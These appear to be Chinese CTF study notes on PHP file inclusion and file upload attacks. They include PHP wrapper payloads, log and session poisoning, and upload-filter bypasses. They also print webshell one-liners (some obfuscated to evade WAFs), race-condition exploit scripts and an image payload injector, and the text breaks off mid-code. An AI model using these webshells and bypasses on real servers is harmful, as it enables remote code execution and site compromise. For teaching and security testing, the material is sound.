# 文件包含:
将任何的 php 文件或者非 php 文件利用函数包含进 php 文件之后都会被当作 php 代码解析。
PHP 提供一些函数来进行各个文件之间的相互引用,并提供了一些协议用于读取或者写入文件。
# 特殊文件包含:
# 最常见的使用:
include('flag.php')
包含 flag.php
文件
- php 代码执行的时候会写去访问 flag.php,就好似把 flag.php 文件全部放在了当前文件,并且执行包含后的这个文件 ==============> 不仅包含也会执行
# 其他函数:
include
、 require
、 include_once
、 require_once
、 highlight_file
、 show_source
、 file_get_contents
、 fopen
、 file
、 readfile
#各种语言文件包含 | |
#ASP ASPX PHP JSP Python Javaweb | |
<c:import url="http://..."> | |
<jsp:include page="head.jsp"/> | |
<%@ include file="head.jsp"%> | |
<?php include ('test.php') ?> |
# 相关配置
本地文件包含 (LFI):可以读取与打开本地文件
远程文件包含 (RFI)(HTTP,FTP,PHP 伪协议):可以远程加载文件
php.ini文件: | |
本地:allow_url_fopen=On/Off | |
远程:allow_url_include=On/Off | |
<?php | |
if(isset($_GET['path'])){ | |
include $_GET['path']; | |
}else{ | |
echo "?path=info.php"; | |
} | |
?> | |
本地:可通过相对路径方式找到文件 | |
?path=info.php | |
远程:可通过http(s)或者ftp等方式远程加载文件 | |
?path=http://......info.php | |
?path=ftp://......info.php |
allow_url_fopen = On allow_url_include = On |
- 本地文件包含:通过浏览器包含 web 服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行
- 远程文件包含:就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码
?path=http://192.168.158.119/phpinfo.php |
# 包含一句话木马:
将一句话写在一个文件中上传之后,在可以包含文件的 php 页面包含该文件,直接利用一句话
常见的一句话
eval
:
- 用来执行任意 php 代码
- 用法:
<?php | |
eval($_POST[1]); | |
//1=system(ls); | |
?> |
-
# 最常见的木马:
<?php | |
eval($_POS[1]); | |
?> |
-
# 防爆破木马:
<?php | |
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']); | |
?> | |
x=myh0st |
-
# 过狗一句话:
<?php | |
($_=@$_GET[s]).@$_($_POST[hihack]) | |
?> //s=assert | |
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]); | |
?>//将敏感函数通过.链接防止被检测 |
-
# 不用?的一句话
<script language="php">eval ($_POST[hihack]);</script> |
-
# 不用 eval 的一句话:
<?php | |
assert($_POST[1]); | |
?> | |
//具体看web1中的执行PHP代码函数的讲解 |
-
# 变形一句话后门:
<!--?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?--> | |
pack:pack(string $format, mixed ...$values): string //将输入参数打包成 format 格式的二进制字符串。 | |
6c6f7374776f6c662e706870//lostwolf.php | |
3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e//<?@eval($_POST[lostwolf])?> | |
<!--?php @fputs(fopen(base64_decode('bXloMHN0LnBocA=='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydoaWhhY2snXSk7Pz4='));?--> |
pack-----> 注意 format 代表的格式
-
# 灭杀一句话:
<!--?php $x="as"."se"."rt";$x($_POST["pass"]);?--> |
# 直接包含敏感文件
# 鉴别题目所用服务器:
- 404 页面:
随便找一个不存在的页面显示出 404 之后,就可以看到服务器的类型
- 右键检查抓包:

点击 network
之后刷新一下
# 包含日志文件
nginx 服务器下日志文件的路径:
/var/log/nginx/access.log | |
/var/log/nginx/error.log |
apache 服务器下的日志文件路径:
/etc/httpd/logs/access_log | |
或者 | |
/var/log/httpd/access_log | |
/var/log/apache2/error.log // 错日志存放 | |
自定义文件路径:/etc/apache2/apache2.conf // 查找以 ErrorLog 开头的行 |
apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log | |
D:\xampp\apache\logs\error.log |
IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles |
IIS7.0+win2003 默认日志文件
%SystemDrive%inetpublogsLogFiles |
nginx 日志文件在用户安装目录的 logs 目录下
如安装目录为 /usr/local/nginx, 则日志目录就是在 /usr/local/nginx/logs 里
也可通过其配置文件 Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)
我们所有的操作都会被服务器中将我们的请求信息记录在日志:
很显然,这是一条日志记录,包含了我们的 ip,请求时间,请求地址,以及 user-Agent===> 浏览器信息,以及我们传入的参数,其他的基本我们都是不能改变的,但是 User-Agent 和传入的参数我们是可控的,如果 User-Agent 是一句话会发生什么?
利用 hackbar 原本的 user-Agent 信息被注入了一句话,在包含日志文件的时候,一句话被执行,最后在日志信息中替换成执行后的结果,原本 access.log
是不会执行一句话的,但是被包含进 .php
页面之后就会以 php 的方式执行,我们刚好传入一句 php 代码,因此被执行
如果参数是一句话会发生什么?
- 如果直接在 url 中进行文件包含可能会造成 url 编码导致不能被识别成 php 代码,因此可以借用 curl,或者 burpsuite
虽然 file 掺入的参数,也就是我们包含的文件名也会被传进日志,但是会被进行 url 编码之后再传进日志导致无法识别 php 无法执行,用 curl 则不会进行 URL 编码
- curl 请求的地址进行双引号包含
- 转义特殊符号 []
# 包含 session 文件 (无后缀文件)
- 获取 session 位置存放信息
或者
没有值就在 /tmp/ 目录下没有值就在 /tmp/ 目录下
示例:
<?php | |
session_start(); | |
$ctfs=$_GET['ctfs']; | |
$_SESSION["username"]=$ctfs; | |
?> |
session 工作原理:
- 首先使用 session_start () 函数进行初始化
- 当执行 PHP 脚本时,通过使用 $_
SESSION
超全局变量注册 session 变量 - 当 P H P 脚 本 执 行 结 束 时 , 未 被 销 毁 的 s e s s i o n 变 量 会 被 自 动 保 存 在 本 地 一 定 路 径 下的 session 库 中 , 这 个 路 径 可 以 通 过
php.ini
文 件 中 的session.savepath
指 定 , 下 次 浏 览 网 页 时 可 以 加 载 使 用 .
session _start ( ) 做 了 哪 些 初 始 化 工 作 :
- 读取名为
PHPSESSID
(如 果 没 有 改 变 默 认 值) 的 cookie 值,假使为abc123
- 若 读 取 到 PHPSESSID 这个 COOKIE , 创 建 SESSION 变 量 , 并 从 相 应 的 目 录 中 ( 可 以 在 p h p . i n i 中 设 置 ) 读 取
SESS_abc123(
默 认 是 这 种 命 名 方 式 ) 文 件,将 字 符 装 在 入SESSION
变量中;若 没 有 读 取 到PHPSESSID
这 个COOKIE
, 也 会 创 建$_SESSION
超全局变量注册session
变量。 (3)当 PHP 脚本执行结束时,未被销毁的 session 变量会被自动保存在本地一定路径下的 session 库中, 这个路径可以通过 php.ini 文件中的 session.save_path 指定,下次浏览网页时可以加载使用。
漏洞分析:
此 php 会将获取到的 GET 型 ctfs 变量的值存入到 session 目录下存储 session 的值。session 的文件名为 sess+sessionid,sessionid 可以通过开发者模式获取。
- 默认路径没有值,说明 session 的保存路径在 /tmp/ 目录下,进入容器看一下
这是默认的文件
- 这里出现警导致下面的程序是无法执行的,这个警告说的是请求可以到达,但无法打开 session,只需要将 session_start (); 放在
hilighlight_file
前边即可
接下来修改 PHPSESSID 为 aaa 传参数 ?ctfs=ctfs
查看 session 文件
如果写入一句话:
如果当前页面存在文件包含漏洞,那么我们可以直接包含这个文件,进而执行 php 代码
import requests | |
import io | |
import threading | |
url='http://9e98676e-0b3e-4f3a-b141-ed5a43cfaced.challenge.ctf.show:8080/' | |
sessionid='ctfshow'. //定义cookie中的sessionid值,作为文件名的一部分 | |
data={ | |
"1":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" //要提交的post的值 | |
} //要在sesssion文件中放的内容 | |
#<?php eval($_POST[1]);?> | |
def write(session): | |
fileBytes = io.BytesIO(b'a'*1024*50) //在内存中创建50K大的文件 | |
while True: | |
response=session.post(url, | |
data={ | |
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>' //获取实时文件上传进度,也可以利用它将他所对应的值写入session文件中,这样就操控了文件内容,这里的1和上面的data全局变量中的1对应 | |
}, | |
cookies={ | |
'PHPSESSID':sessionid | |
}, | |
files={ | |
'file':('ctfshow.jpg',fileBytes) //上传这个文件,不然不接受PHP_SESSION_UPLOAD_PROGRESS参数 | |
} | |
) | |
def read(session): | |
//读取session文件,写入的sesssion文件的内容就是写函数里面的一句话,所以我们需要传递一个参数 | |
while True: | |
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data, | |
cookies={ | |
'PHPSESSID':sessionid | |
} | |
)//读取文件,这里的data是全局变量的data,session文件的内容就是upload传入的一句话,这句话又调用了data里面的1 | |
resposne2=session.get(url+'2.php'); //看一下文件写没写进去 | |
if resposne2.status_code==200: //请求完之后如返回200,就写入成功 | |
print('++++++done++++++') | |
else: | |
print(resposne2.status_code) | |
if __name__ == '__main__': | |
evnet=threading.Event() | |
with requests.session() as session: ////开启多线程做竞争,因为session文件提交完之后,脚本执行完之后session文件会被删除 | |
for i in range(5): //开启5个线程 | |
threading.Thread(target=write,args=(session,)).start()//执行写 | |
for i in range(5): | |
threading.Thread(target=read,args=(session,)).start() | |
evnet.set() |
# 任意目录遍历 ../../
防御: php.ini
当中的配置 open_basedir
,将很好可以设置用户需要执行的文件目录,如果设置目录的话,PHP 仅仅在该目录内搜索文件。而没有设置 open_basedir 时,文件包含漏洞可以访问任意文件。
经查看之后,各个版本的 php 该配置默认如下:
修改配置,只允许用户包含指定目录下的文件
再次尝试包含非指定目录下的文件
# 伪协议读取与包含:
结合文件包含函数,伪协议可以读取或者写入文件
- 在某个文件
a
没有highlight_file
函数进行高亮的时候我们在页面中是无法看到该页面的内容的,如果另一个页面 b 存在文件包含漏洞,我们就可以利用伪协议读取 a 文件的源码 - 一些伪协议还可以执行命令
# filter 协议:
-
条件:
-
allow_url_fopen
:off/onallow_url_include
: 仅php://input php://stdin php://memory php://temp
需要 on
?file=php://filter/convetr.base64-encode / 可以随便加字符串用来绕过题目的一些要求 /resource=flag.php |
对数据流进行过滤的一种协议。
- 过滤:过滤是对数据的修改,重整而不是删除!
- resource 参数提供要修改的数据流
- read/write 参数提供过滤的方法
官方表格:
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
官方文档
常用的过滤器:
- convert.base64-encode:
convert.base64-encode
和 convert.base64-decode
使用这两个过滤器等同于用 base64_encode 和 base64_decode 函数处理数据 convert.base64-encode 支持以一个关 联数组给出的参数。如果给出了 line-length,base64 输出将被用 line-length 个字符为长度而截成块。 如果给出了 line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用 base64_encode () 再 加上 chunk_split () 相同
- spring.rot13
rot13 编码工具
str_rot13
-- 对字符串执行 rot13 转换,ROT13 编码简单滴使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符,编码和解码都是用相同的函数,传递一个编码过的字符串作为参数,得到原始的字符串。
- 其他过滤器
实例:
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?file=php://filter/convetr.base64-encode/resource=flag.php |
# data 协议:
受限于 allow_url_include
可以读取数据流,也可用来执行 php 代码,可以把 data 语句认为是一个文件
?file=data://text/plain;base64(设置编码方式),编码后的php代码 | |
?data://text/plain,<?php system(‘whoami’)?> |
示例:
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
$file = str_replace("php", "???", $file); | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
# input 协议:
用于执行 POST
数据,也可认为是一个文件 POST 数据是内容,常用于 rce 中
enctype="multipart/form-data"
的时候 php://input
是无效的
说明:
- 需要开启 allow_url_include
php://input
读入请求的 POST 数据并且执行- 表单确定类别
enctype=”multipart/form-data”
无法读取无法执行
<?php | |
if(isset($_GET['file'])){ | |
if(substr($_GET['file'],0,6)==="php://"){ | |
include($_GET['file']); | |
}else{ | |
echo "HACKER"; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> |
# zip://&bzip2://&zlib://
allow_url_fopen
:off/onallow_url_include
:off/on
压缩流
- compress.zlib://file.gz
- compress.bzip2://file.bz2
- zip://archive.zip#dir/file.txt
作用: zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀: jpg png gif xxx
等等。
主要用文件包含中上传本地一句话文件,利用 include 执行
示例:
在本地利用 phpstudy 复现
<?php | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> |
具体细节
# file://
用于访问本地文件系统,在 CTF 中通常用来读取本地文件的且不受 allow_url_fopen 与 allow_url_include 的影响
# http:// https://
条件:
allow_url_fopen
:onallow_url_include
:on
作用:常规 URL 形式,允许通过 HTTP 1.0
的 GET 方法,以只读访问文件或资源。CTF 中通常用于远程包含。
用法:
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com
示例:
?file=http://127.0.0.1/phpinfo.txt
# phar://
有些 waf 不会防 php 后缀的文件,但是他会检测里面的内容,我们可以通过包含的方式,包含 rar 后缀或者 phar 后缀里面的 txt 文件或者 jpg 文件达到绕过防护的目的
test.php
<?php | |
include "phar://test.zip/test.txt" // 包含 test.zip 压缩包中的 test.txt | |
?> | |
或 | |
<?php | |
include($_POST['chenluo']); | |
?> | |
POST: | |
cheluo=phar://test.zip/test.txt |
test.txt:
<?php | |
phpinfo(); | |
?> |
# 文件上传
# 没有丝毫过滤
上传 php 文件,之后访问执行一句话
# 有前端 js 检验:
- 先上传规定的后缀文件,之后 bp 抓包,改后缀文件名
# 文件后缀绕过:
在服务器限制某些后缀文件不允许上传,但是有些 Apache 是允许歇息其他文件后缀的,例如在 https.conf 中,如果配置有如下代码,就能解析 php 和 phtml 的文件
AddType application/x-https-php .php .phtml |
可尝试:
.php .php2 .php3 .php5 .phtml | |
.asp .aspx .ascx .ashx .asa .cer | |
.jsp .jspx |
结合 Apache 文件解析机制,从右向左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止。
比如:Apache 的多后缀解析漏洞:解析 127.0.0.1/1.php.366==127.0.0.1/1.php
注:该漏洞比较古老,大部分已经修复过了,但是会出现在 CTF 中
# 文件类型检测:
代码分析:
function getReailFileType($filename){ | |
$file = fopen($filename, "rb"); | |
$bin = fread($file, 2); // 只读 2 字节 | |
fclose($file); | |
$strInfo = @unpack("C2chars", $bin); | |
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); | |
$fileType = ''; | |
switch($typeCode){ | |
case 255216: | |
$fileType = 'jpg'; | |
break; | |
case 13780: | |
$fileType = 'png'; | |
break; | |
case 7173: | |
$fileType = 'gif'; | |
break; | |
default: | |
$fileType = 'unknown'; | |
} | |
return $fileType; | |
} | |
$is_upload = false; | |
$msg = null; | |
if(isset($_POST['submit'])){ | |
$temp_file = $_FILES['upload_file']['tmp_name']; | |
$file_type = getReailFileType($temp_file); | |
if($file_type == 'unknown'){ | |
$msg = "文件未知,上传失败!"; | |
}else{ | |
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; | |
if(move_uploaded_file($temp_file,$img_path)){ | |
$is_upload = true; | |
} else { | |
$msg = "上传出错!"; | |
} | |
} | |
} |
-
# MIME 绕过:Content-Type 字段
判断 $_Files["file"]["type"]
是不是图片格式(image/gif、imge/jpeg、image\pjpeg),不是则不允许上传。 $_Files["file"]["type"]
的值是从请求数据包中 Content-Type
中获取。
.gif image/gif | |
.htm .html text/html | |
.jpeg .jpg image/jpeg | |
.js text/javascript | |
.png image/png |
代码分析:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { | |
$temp_file = $_FILES['upload_file']['tmp_name']; | |
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] | |
if (move_uploaded_file($temp_file, $img_path)) { | |
$is_upload = true; | |
} else { | |
$msg = '上传出错!'; | |
} | |
} else { | |
$msg = '文件类型不正确,请重新上传!'; | |
} |
解决方案:
-
bp 抓包,修改
Content-Type: image/png
# 文件幻数检测
利用 getimagesize () 函数获取图片的宽高等信息,如果上传的不是图片,则获取不到信息。
解决方法一:
文件头添加
在脚本文件开头补充图片对应的头部值,或在图片后写入写入脚本代码
绕过方法二:上传图片木马
法一:
GIF89a
<?php
phpinfo();
?>
法二:
图片合并:
命令:
copy 1.jpg/b+phpinfo.php/a hack.jpg
以二进制的方式打开,写入文件
法三:
写入到 版权 当中
法四:
直接使用 010Editor 写入,相当于法三
# 文件内容特殊字符过滤
- 常见的过滤:
文件内容:
<?php eval($_POST[1]);?> |
过滤了 []
用 {}
替换
<?php eval($_POST{1})?> |
等。。。。
# 零零截断绕过:
截断原理:系统在对文件名的读取时,如果遇到 ascii 码为零的位置就停止,而这个 ascii 码为零的位置在 16 进制中是 00,用 0x 开头表示 0x00,就会认为读取已结束,也就是所说的 0x00 截断。
截断条件: php 版本小于 5.3.4,PHP 的 magic_quote_gpc 为 0ff 状态
这函数是魔术引号,会对敏感的字符转义的 空就会被转义加个反斜杠
注:URL 中的 %00
系统是按 16 进制读取文件,URL 中的 %00
是被服务器解码为 0x00
而发挥了截断作用。
-
# 代码分析:
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; //上传路径可控,容易导致00截断
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
-
# 绕过方法:
-
用 burp 抓包,然后修改
GET 方式提交–会自动将 %00 解析为 0x00 ,发挥截断作用
POST 方式提交–需要手动将其解码为 十六进制的 00 ,发挥截断作用
# .htaccess 攻击
- 上传.htaccess 文件
httpd-conf 是 Apache 系统的配置文件(全局的);
.htaccess 文件是 Apache 服务器的分布式配置文件(局部的),该配置文件会覆盖 Apache 服务器的全局配置,只对 该文件所在目录下的文件起作用。
如果一个 Web 应用程序允许上传.htaccess 文件,则说明攻击者可以更改 Apache 的配置。
- 缺点:只在
Apache 服务器
下起作用 - 使用条件:
Apache 目录下:/conf/httpd.conf 中 AllowOverride
为 All
则意味着.htaccess 文件可更改 Apache 配置
利用一:将指定后缀文件当作 php 文件处理
AddType application/x-httpd-php .jpg //会将 jpg 文件当作 php 解析会将 jpg 文件当作 php 解析
或者
SetHandler application/x-httpd-php //所有文件都会当作php文件解析
利用二:文件当中包含 php 关键字
文件名中只要包含 .php 关键字就当作php处理:phpinfo.php.png
在 .htaccess 文件中写入:
AddHandler php5-script php
利用三:匹配文件名
匹配文件名:文件名
<FilesMatch "文件名">
SetHandler application/x-httpd-php
</FilesMatch>
在 Apache 的解析顺序中,是从右到左开始解析文件后缀的。如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可解析的文件为止
-
# .user.ini 攻击
php.ini 是 PHP 的一个 全局配置文件(全局的);
.user.ini 是 PHP 的目录配置文件(局部的),相当于用户自己定义的一个 php.ini 文件。
PHP 中的每个配置都有其所处的模式。其中允许使用 .user.ini
能够更改的模式有 PHP_INI_PERDIR 和 PHP_INI_USER
等等。
而 PHP_INI_PERDIR
这个模式当中的 auto_append_file 和 auto_prepend_file 这两个配置对我们有很大帮助。
auto_append_file :指定一个文件在主文件解析之前解析;
auto_prepend_file:指定一个文件在主文件之后解析。
-
** 原理:** 我们可以使用 auto_prepend_file 这个选项,将我们所要上传的图片马在该目录下的其它 PHP 文件执行之前首先
包含
我们所上传的图片马。相当于在原有的 PHP 文件的代码开头加上了require('a.jpg')
,从而进行了文件包含
,这样我们的图片马就得到了利用。 -
优点:不仅仅限于 Apache 服务器,还可以用于 Nginx , IIS 等服务器。
-
使用条件:
-
- 上传的 .user.ini 目录下必须含有 .php 文件,而一般的题目当中不会含有。
- 服务器使用 CGI/FastCGI 模式
-
上传.user.ini 文件
auto_prepend_file=a.jpg // 自动在每个页面包含 a.jpg 文件,如果在 php 文件中包含 jpg 文件就会导致 a.jpg 被当成 php 文件解析 |
- 特殊用法 1:日志文件包含
auto_prepend_file =/var/log/nginx/access.log |
之后随便上传一个文件。主要是修改 User-Agent
- 特殊用法 2:session 文件包含
上传 .user.ini 文件
auto_prepend_file=/tmp/sess_test //test 要记住 |
- 利用脚本上传文件
import requests | |
import io | |
import threading | |
ssessID = 'test' //之前的test | |
url = "http://175fce94-5d4d-4e2f-b297-1f15d7e1d3aa.challenge.ctf.show:8080/" | |
def write(session): | |
while event.isSet(): | |
f = io.BytesIO(b'a'*256*1) | |
response = session.post( | |
url, | |
cookies={'PHPSESSID':ssessID}, | |
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("nl ../*.php");?>'}, //要执行的命令 | |
files = {'file':('test.txt',f)} | |
) | |
def read(session): | |
while event.isSet(): | |
response = session.get(url+'upload/index.php'.format(ssessID)) | |
if 'ctfshow{' or 'flag' in response.text: | |
print(response.text) | |
event.clear() | |
else: | |
print('[*]retring.........') | |
if __name__ == '__main__': | |
event = threading.Event() | |
event.set() | |
with requests.session() as session: | |
for i in range(1,30): | |
threading.Thread(target=write,args=(session,)).start() | |
for i in range(1, 30): | |
threading.Thread(target=read, args=(session,)).start() |
session.upload_progress.enabled
这个参数在 php.ini 默认开启,需要手动配置 off,如果不是 off,就会在上传的过程中生成上传进度的文件,他的存储路径可以在 phpinfo (), 中找到
# 文件上传和文件包含结合:
上传文件之后可能访问的时候是通过某一个参数访问,这时就应该想到这个参数适用做文件包含将我们请求的文件包含在当前页面,如果当前页面是 PHP 文件那么,我们请求的文件就会当作 php 文件解析
# 二次渲染:
- png 图片二次渲染:
直接在 png 图片的 IDTA 数据块写入一句话,避免了被修改:
<?php | |
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, | |
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, | |
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, | |
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, | |
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, | |
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, | |
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, | |
0x66, 0x44, 0x50, 0x33); | |
$img = imagecreatetruecolor(32, 32); | |
for ($y = 0; $y < sizeof($p); $y += 3) { | |
$r = $p[$y]; | |
$g = $p[$y+1]; | |
$b = $p[$y+2]; | |
$color = imagecolorallocate($img, $r, $g, $b); | |
imagesetpixel($img, round($y / 3), 0, $color); | |
} | |
x | |
imagepng($img,'./1.png'); | |
?> |
生成一张在 IDTA 数据块写有 $_GET[0]($_POST[1])
的一句话木马的 png 图片,上传之后再执行
具体原理是 IDAT 数据块放着 png 图片的重要信息,一般不会被重新渲染
- gif 图片二次渲染:
使用 010 将 gif 图片的最后加上一句话,上传之后,将上传之后的图片下载下来,再次打开 010 查看,发现原本我们写入的一句话已经消失了。
但与之前的图片进行对照,仍有未经渲染(改变)的部分,我们可以讲一句话写入不会被渲染的部分进行上传即可。
图片末尾加一句话
经过渲染,一句话消失
找到未经渲染的部分,加一句话,上传
再次下载,发现未被渲染掉
jpg 图片二次渲染:
<?php | |
/* | |
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). | |
It is necessary that the size and quality of the initial image are the same as those of the processed image. | |
1) Upload an arbitrary image via secured files upload script | |
2) Save the processed image and launch: | |
jpg_payload.php <jpg_name.jpg> | |
In case of successful injection you will get a specially crafted image, which should be uploaded again. | |
Since the most straightforward injection method is used, the following problems can occur: | |
1) After the second processing the injected data may become partially corrupted. | |
2) The jpg_payload.php script outputs "Something's wrong". | |
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. | |
Sergey Bobrov @Black2Fan. | |
See also: | |
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ | |
*/ | |
$miniPayload = "<?=phpinfo();?>"; | |
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { | |
die('php-gd is not installed'); | |
} | |
if(!isset($argv[1])) { | |
die('php jpg_payload.php <jpg_name.jpg>'); | |
} | |
set_error_handler("custom_error_handler"); | |
for($pad = 0; $pad < 1024; $pad++) { | |
$nullbytePayloadSize = $pad; | |
$dis = new DataInputStream($argv[1]); | |
$outStream = file_get_contents($argv[1]); | |
$extraBytes = 0; | |
$correctImage = TRUE; | |
if($dis->readShort() != 0xFFD8) { | |
die('Incorrect SOI marker'); | |
} | |
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { | |
$marker = $dis->readByte(); | |
$size = $dis->readShort() - 2; | |
$dis->skip($size); | |
if($marker === 0xDA) { | |
$startPos = $dis->seek(); | |
$outStreamTmp = | |
substr($outStream, 0, $startPos) . | |
$miniPayload . | |
str_repeat("\0",$nullbytePayloadSize) . | |
substr($outStream, $startPos); | |
checkImage('_'.$argv[1], $outStreamTmp, TRUE); | |
if($extraBytes !== 0) { | |
while((!$dis->eof())) { | |
if($dis->readByte() === 0xFF) { | |
if($dis->readByte !== 0x00) { | |
break; | |
} | |
} | |
} | |
$stopPos = $dis->seek() - 2; | |
$imageStreamSize = $stopPos - $startPos; | |
$outStream = | |
substr($outStream, 0, $startPos) . | |
$miniPayload . | |
substr( | |
str_repeat("\0",$nullbytePayloadSize). | |
substr($outStream, $startPos, $imageStreamSize), | |
0, | |
$nullbytePayloadSize+$imageStreamSize-$extraBytes) . | |
substr($outStream, $stopPos); | |
} elseif($correctImage) { | |
$outStream = $outStreamTmp; | |
} else { | |
break; | |
} | |
if(checkImage('payload_'.$argv[1], $outStream)) { | |
die('Success!'); | |
} else { | |
break; | |
} | |
} | |
} | |
} | |
unlink('payload_'.$argv[1]); | |
die('Something\'s wrong'); | |
function checkImage($filename, $data, $unlink = FALSE) { | |
global $correctImage; | |
file_put_contents($filename, $data); | |
$correctImage = TRUE; | |
imagecreatefromjpeg($filename); | |
if($unlink) | |
unlink($filename); | |
return $correctImage; | |
} | |
function custom_error_handler($errno, $errstr, $errfile, $errline) { | |
global $extraBytes, $correctImage; | |
$correctImage = FALSE; | |
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { | |
if(isset($m[1])) { | |
$extraBytes = (int)$m[1]; | |
} | |
} | |
} | |
class DataInputStream { | |
private $binData; | |
private $order; | |
private $size; | |
public function __construct($filename, $order = false, $fromString = false) { | |
$this->binData = ''; | |
$this->order = $order; | |
if(!$fromString) { | |
if(!file_exists($filename) || !is_file($filename)) | |
die('File not exists ['.$filename.']'); | |
$this->binData = file_get_contents($filename); | |
} else { | |
$this->binData = $filename; | |
} | |
$this->size = strlen($this->binData); | |
} | |
public function seek() { | |
return ($this->size - strlen($this->binData)); | |
} | |
public function skip($skip) { | |
$this->binData = substr($this->binData, $skip); | |
} | |
public function readByte() { | |
if($this->eof()) { | |
die('End Of File'); | |
} | |
$byte = substr($this->binData, 0, 1); | |
$this->binData = substr($this->binData, 1); | |
return ord($byte); | |
} | |
public function readShort() { | |
if(strlen($this->binData) < 2) { | |
die('End Of File'); | |
} | |
$short = substr($this->binData, 0, 2); | |
$this->binData = substr($this->binData, 2); | |
if($this->order) { | |
$short = (ord($short[1]) << 8) + ord($short[0]); | |
} else { | |
$short = (ord($short[0]) << 8) + ord($short[1]); | |
} | |
return $short; | |
} | |
public function eof() { | |
return !$this->binData||(strlen($this->binData) === 0); | |
} | |
} | |
?> |
先找一张 jpg 上传,将上传的图片进行下载,kali 运行脚本
写入成功
# 条件竞争:
一些网站的逻辑是先允许上传任意文件,然后检查上传的文件是否包含 WebShell 脚本,若果包含就会删除文件。这里存在的问题是文件上传成功之后和删除文件之间存在一个短的时间差 (因为要执行检查文件和删除文件的操作),攻击者就可以利用足额个时间差完成竞争条件的上传漏洞攻击
代码分析:
<?php | |
if($_FILES["file"]["error"]>0) | |
{ | |
echo "Return Code: ". $_FILES["file"]["error"] . "<br />"; | |
} | |
else | |
{ | |
echo "upload: " .$_FILES["file"]["name"]."<br />"; | |
echo "Type: " . $_FILES["file"]["type"] . "<br />"; | |
echo "Size: " . ($_FILES["file"]["size"] / 1024) . "kb<br />"; | |
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; | |
if (file_exists("upload/" . $_FILES["file"]["name"])) | |
{ | |
echo $_FILES["file"]["name"] . "already exeits."; | |
} | |
else | |
{ | |
mobe_upload_file($_FILES["file"]["tmp_name"],"upload/". $_FILES["file"]["name"]); | |
echo "Store in:" . "upload/".$_FILES["file"]["name"]; | |
sleep("10"); // 可省略 | |
